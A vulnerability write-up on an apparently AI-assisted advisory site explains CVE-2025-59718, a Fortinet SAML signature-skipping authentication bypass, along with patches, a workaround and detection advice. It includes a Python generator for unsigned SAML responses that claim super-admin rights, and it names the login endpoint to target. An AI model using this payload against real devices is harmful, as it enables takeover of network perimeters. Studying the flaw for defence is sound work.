CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Dashboard
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2025-59718
9.82.41%

The Unsigned Letter: Fortinet's SAML Amnesia (CVE-2025-59718)

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 22, 2026·5 min read·9 visits

Active ExploitationCISA KEV ListedRansomware Use

Executive Summary (TL;DR)

Critical auth bypass (CVSS 9.8) in Fortinet products allows remote attackers to become admin by sending unsigned SAML assertions. Actively exploited.

In the world of cryptographic trust, signatures are everything. They are the wax seals on the royal decree, ensuring that the message actually came from the King (or the Identity Provider). But what happens when the castle guard decides that checking the seal is optional? You get CVE-2025-59718. This is a critical authentication bypass in Fortinet's FortiOS and related products. It allows an unauthenticated attacker to forge a SAML response, skip the digital signature entirely, and log in as a super-admin. It’s not a complex heap overflow or a race condition; it’s a logic flaw that essentially says, 'If the ID looks real, let them in.'

The Hook: Trust Issues

SAML (Security Assertion Markup Language) is the glue that holds modern Single Sign-On (SSO) together. It’s a complex XML-based protocol where an Identity Provider (IdP) tells a Service Provider (SP)—in this case, your FortiGate firewall—who you are. Because the internet is a dark and scary place, these messages are supposed to be cryptographically signed. That signature is the only thing preventing me from writing an XML file on a napkin that says "I am the Admin" and handing it to your firewall.

CVE-2025-59718 is what happens when that trust model collapses due to lazy implementation. Fortinet implemented a feature to allow logins via FortiCloud SSO. However, the implementation failed to enforce the golden rule of cryptography: Verify everything.

Imagine a bouncer at an exclusive club who checks IDs. Usually, he shines a UV light to check for holograms. But in this case, if you hand him a piece of cardboard with "VIP" written in crayon, he shrugs and opens the velvet rope. The vulnerability isn't that the crypto is broken; it's that the appliance simply doesn't care if the crypto is missing.

The Flaw: Cryptographic Nihilism

The root cause here is CWE-347: Improper Verification of Cryptographic Signature. In a correct SAML flow, the SP (FortiGate) receives a <Response> containing an <Assertion>. The SP must locate the public key of the IdP (FortiCloud), extract the signature from the XML, and mathematically prove the assertion hasn't been tampered with.

The flaw in the affected FortiOS versions is a logic error in the SAML parsing library or the wrapper code handling the SSO flow. When the appliance parses the incoming XML, it extracts the NameID (username) and attributes (roles). However, the code path that triggers signature verification appears to be conditional or entirely skippable if the signature element is omitted.

> [!NOTE] > This is often called a "Signature Exclusion Attack." Libraries like python-saml or xmlsec have historically had similar issues where if the XML tree lacks a <ds:Signature> node, the library assumes the developer didn't intend to verify it, returning a 'success' or 'unsigned' state that the application misinterprets as 'valid'.

This is distinct from 'Signature Wrapping' attacks where the signature exists but covers the wrong part of the document. This is dumber. This is simply sending the data without the proof.

The Exploit: Forging the Crown

Exploiting this does not require advanced binary exploitation skills. You don't need to spray the heap or align the stack. You just need to speak XML.

The attacker crafts a standard SAML 2.0 Response. The critical components are:

  1. Issuer: Set to https://sso.forticloud.com so the firewall thinks it's talking to the mothership.
  2. NameID: The target user, typically admin or a specific email address if known.
  3. Attributes: Granting super_admin privileges.
  4. Signature: None. We just leave it out.

Here is a conceptual look at the Python generator for this payload based on the public PoC:

# The "Magic" SAML Generator
# No crypto keys required!
 
def craft_bypass_payload(target_url, username="admin"):
    # Current timestamp
    now = datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ')
    
    # The XML structure looks legitimate, but lacks <ds:Signature>
    saml_xml = f"""
    <samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" 
                    ID="_fake_id" Version="2.0" IssueInstant="{now}" 
                    Destination="{target_url}">
      <saml:Issuer>https://sso.forticloud.com</saml:Issuer>
      <samlp:Status>
        <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
      </samlp:Status>
      <saml:Assertion ID="_fake_assertion" IssueInstant="{now}" Version="2.0">
        <saml:Issuer>https://sso.forticloud.com</saml:Issuer>
        <saml:Subject>
          <saml:NameID>{username}</saml:NameID>
        </saml:Subject>
        <saml:AttributeStatement>
           <!-- The Keys to the Kingdom -->
           <saml:Attribute Name="role"><saml:AttributeValue>super_admin</saml:AttributeValue></saml:Attribute>
        </saml:AttributeStatement>
      </saml:Assertion>
    </samlp:Response>
    """
    
    # Base64 encode it, because that's what HTTP wants
    return base64.b64encode(saml_xml.encode()).decode()

The attacker then sends this blob via a POST request to /remote/saml/login. The FortiGate parses the XML, sees admin, sees super_admin, checks nothing else, and issues a session cookie.

The Impact: God Mode

Why is this a 9.8 CVSS? Because Fortinet devices are edge appliances. They sit on the perimeter of the network. If you compromise the firewall, you own the network.

Once authenticated as a super-admin, the attacker has full control:

  • VPN Access: Create new VPN users to persist access or tunnel into the internal network.
  • Traffic Interception: Configure packet capture to sniff internal traffic.
  • Lateral Movement: Use the FortiGate as a jump box to attack internal servers.
  • Ransomware: We've seen ransomware groups (specifically active in the CISA KEV reports) use these edge devices as initial access vectors to deploy lockers across the enterprise.

This isn't just a data leak; it's a total compromise of the security boundary.

The Fix: Closing the Window

The only real fix is to patch the logic flaw in the firmware. Fortinet has released updates that force the SAML SP to validate signatures, rejecting any assertion that lacks a valid cryptographic proof from the configured IdP.

Immediate Actions:

  1. Upgrade: Move to FortiOS 7.0.18+, 7.2.12+, 7.4.9+, or 7.6.4+ immediately.
  2. Workaround: If you can't patch, you MUST disable the FortiCloud SSO feature. This kills the vulnerable code path.
# CLI Workaround
config system global
  set admin-forticloud-sso-login disable
end

If you have logs enabled, search for Action: sso-login. If you see logins from the generic FortiCloud IdP that don't match your known administrative activity windows, assume compromise and initiate incident response.

Official Patches

FortinetOfficial Fortinet Advisory FG-IR-25-647

Technical Appendix

CVSS Score
9.8/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS Probability
2.41%
Top 15% most exploited
150,000
Estimated exposed hosts via Shodan

Affected Systems

FortiOSFortiProxyFortiSwitchManagerFortiWeb

Affected Versions Detail

Product
Affected Versions
Fixed Version
FortiOS
Fortinet
7.0.0 - 7.0.177.0.18
FortiOS
Fortinet
7.2.0 - 7.2.117.2.12
FortiOS
Fortinet
7.4.0 - 7.4.87.4.9
FortiProxy
Fortinet
7.2.0 - 7.2.147.2.15
AttributeDetail
CWE IDCWE-347
Attack VectorNetwork (AV:N)
CVSS Score9.8 (Critical)
ImpactAdmin Authentication Bypass
Exploit StatusActive / Verified PoC
KEV StatusListed (2025-12-16)

MITRE ATT&CK Mapping

T1556.003Modify Authentication Process: SAML Modification
Credential Access
T1550.004Use Alternate Authentication Material: Web Session Cookie
Defense Evasion
T1190Exploit Public-Facing Application
Initial Access
CWE-347
Improper Verification of Cryptographic Signature

The product verifies a cryptographic signature, but the verification logic is implemented incorrectly, allowing a crafted signature or the absence of a signature to bypass the check.

Known Exploits & Detection

GitHubPython script generating unsigned SAML responses for FortiOS bypass

Vulnerability Timeline

Vendor Disclosure (FG-IR-25-647)
2025-12-09
Active Exploitation Detected
2025-12-12
Added to CISA KEV
2025-12-16
Public PoC Released
2025-12-22

References & Sources

  • [1]Fortinet PSIRT Advisory
  • [2]CISA KEV Catalog

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.